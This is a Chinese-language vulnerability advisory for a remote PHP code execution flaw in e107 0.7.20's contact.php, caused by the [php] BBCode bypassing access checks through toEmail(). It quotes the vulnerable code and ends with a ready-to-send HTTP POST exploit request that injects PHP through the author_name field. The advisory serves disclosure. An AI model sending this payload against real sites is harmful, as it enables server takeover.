e107 BBCode任意PHP代码执行漏洞

受影响系统:

e107.org e107 0.7.20

描述:

e107是用php编写的内容管理系统。

e107中的bbcode [php]允许执行任意PHP代码。由于这种方式比较危险,e107的配置通常禁止所有用户访问这个bbcode,管理员可以对特定的用户组按需激活这个功能。

e107中的访问控制检查没有在bbcode解析器内部而是在一些调用bbcode解析器的外部功能中实现,例如:

    function post_toHTML($text, $modifier = true, $extra = ”) {
        …

        //If user is not allowed to use [php] change to entities
        if(!check_class($pref[‘php_bbcode’]))
        {
            $text = preg_replace("#\[(php)#i", "[\\1", $text);
        }

        return ($modifier ? $this->toHTML($text, true, $extra) : $text);
    }

这段代码显示toHTML()方式中没有对[php]执行访问检查,因为已在外部执行了检查。这意味着用户输入不应直接到达toHTML()方式,否则可能会导致执行远程PHP代码。

但在其他一些地方用户输入可以到达toHTML(),如在toEmail()方式中:

    function toEmail($text,$posted="",$mods="parse_sc, no_make_clickable")
    {
        if ($posted === TRUE && MAGIC_QUOTES_GPC)
        {
            $text = stripslashes($text);
        }

        $text = (strtolower($mods) != "rawtext") ? $this->replaceConstants($text,"full") : $text;
        $text = $this->toHTML($text,TRUE,$mods);
        return $text;
    }

如果toEmail()方式中使用了用户输入,就可能会导致执行远程PHP代码。出现这种情况的一个示例是contact.php文件中:

if(isset($_POST[‘send-contactus’])){

    $error = "";

    $sender_name = $tp->toEmail($_POST[‘author_name’],TRUE,"rawtext");
    $sender = check_email($_POST[’email_send’]);
    $subject = $tp->toEmail($_POST[‘subject’],TRUE,"rawtext");
    $body = $tp->toEmail($_POST[‘body’],TRUE,"rawtext");

向contact.php文件提交POST请求就会导致在服务器上执行任意PHP代码。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:
http://marc.info/?l=bugtraq&m=127428273900680&w=2
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

POST /contact.php HTTP/1.1
Host: xxxx
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&

建议:

厂商补丁:

e107.org
——–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://e107.org/

发表评论?

0 条评论。

发表评论